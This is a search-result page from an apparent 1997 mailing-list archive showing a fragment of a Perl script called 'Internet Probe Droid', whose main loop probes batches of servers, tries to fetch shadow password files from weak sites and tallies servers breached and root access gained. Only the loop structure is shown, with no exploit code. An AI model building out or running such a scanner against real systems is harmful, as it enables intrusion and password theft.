Displaying 1 result from an estimated 1 matches for "try_for_shadowfil".
Did you mean:
try_for_shadowfile
1997 Sep 28
0
[IPD] Internet Probe Droid
...stepping through @servers
# main loop
for (''0'' .. $index) {
@buffer = splice(@servers, 0, $max);
$tried += @buffer;
$listlength = @servers;
print "probe buffer:\n@buffer\n" if $debug;
&probe(@buffer); # recursively query servers
}
# Finish up
&try_for_shadowfile(@really_dumb_sites) if ($#really_dumb_sites > 0);
print << "EOLN";
Total servers breached: $totalgotten
Root servers: $rootservers
Shadowed password files: $shadowed
Done. Exiting...
EOLN
#
##
### End main
sub probe {
$level++;
my $server = shift;...